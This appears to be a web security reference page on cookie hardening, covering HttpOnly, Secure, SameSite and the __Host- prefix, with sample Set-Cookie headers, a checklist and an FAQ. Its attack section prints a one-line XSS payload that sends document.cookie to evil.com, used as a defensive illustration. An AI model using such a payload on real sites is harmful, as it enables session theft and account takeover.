Cookie Security
HighHttpOnly, Secure, SameSite, __Host-
Session cookies are high-value targets. The HttpOnly flag prevents JavaScript access, Secure restricts to HTTPS, and SameSite=Strict blocks cross-site sending. The __Host- prefix enforces the strongest binding – requiring Secure, no Domain attribute, and Path=/. All four together make cookie theft and CSRF extremely difficult.
Overview
Session cookies authenticate users – if an attacker steals one, they have full access to that user's account. Each cookie attribute is a defense layer:
HttpOnly: the cookie is inaccessible to JavaScript. document.cookie cannot read it. This stops XSS attacks from exfiltrating session tokens. The browser still sends the cookie on requests automatically.
Secure: the cookie is only sent on HTTPS connections. Prevents transmission over unencrypted HTTP.
SameSite=Strict: the cookie is only sent when the request originates from the same site. Prevents CSRF.
SameSite=Lax: the cookie is sent on same-site requests and top-level navigation, but not on cross-site subrequests (images, iframes, AJAX). The browser default since 2021.
The __Host- prefix (e.g., __Host-session) is the strongest binding: it requires Secure, forbids the Domain attribute (preventing subdomain takeover attacks), and requires Path=/.
The Attack: Session Cookie Theft via XSS
Without HttpOnly, a single XSS vulnerability allows an attacker to exfiltrate the session cookie and impersonate the victim from any location.
<!-- XSS payload – steals session if HttpOnly is missing -->
<script>
new Image().src = 'https://evil.com/steal?c=' + document.cookie;
</script>
# With HttpOnly: document.cookie returns "" – session not exposed
# Without HttpOnly: session=abc123; user_id=42 is exfiltratedDefenses
1Full secure cookie configuration
Every session cookie should have HttpOnly, Secure, SameSite=Strict, and the __Host- prefix. This is the maximum security configuration.
Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/2Separate security levels by cookie purpose
Use SameSite=Strict for session cookies. Use SameSite=Lax for preference cookies that need to work across sites (OAuth redirects). Never use SameSite=None without Secure.
# Session (strictest)
Set-Cookie: __Host-session=abc; HttpOnly; Secure; SameSite=Strict; Path=/
# OAuth state (allows cross-site top-level navigation)
Set-Cookie: oauth_state=xyz; HttpOnly; Secure; SameSite=Lax; Path=/
# Embedded widget (cross-site, requires None+Secure)
Set-Cookie: widget_pref=dark; Secure; SameSite=None; Path=/Checklist
- ✓Set HttpOnly on all session and authentication cookies
- ✓Set Secure on all cookies – never transmit cookies over HTTP
- ✓Set SameSite=Strict on session cookies, SameSite=Lax as the minimum
- ✓Use __Host- prefix for session cookies that don't need Domain scoping
- ✓Set an explicit Path=/ to prevent path-scoped cookie attacks
- ✓Set a Max-Age or Expires – never use session-only cookies for long-lived sessions
- ✓Rotate session cookies after login (session fixation prevention)
- ✓Never include sensitive data directly in cookie values – store a reference, not the secret
Related Headers
Related Status Codes
FAQ
What is the difference between HttpOnly and Secure?
HttpOnly prevents JavaScript from accessing the cookie via document.cookie – defending against XSS theft. Secure prevents the cookie from being sent over unencrypted HTTP connections – defending against network eavesdropping. Both should always be set together on authentication cookies.
Does SameSite=Strict break OAuth login?
It can. OAuth flows redirect from the identity provider back to your site. With SameSite=Strict, cookies set before the OAuth redirect won't be sent when the browser returns from the OAuth provider (cross-site navigation). Use SameSite=Lax for OAuth state/nonce cookies and SameSite=Strict for the session cookie set after successful authentication.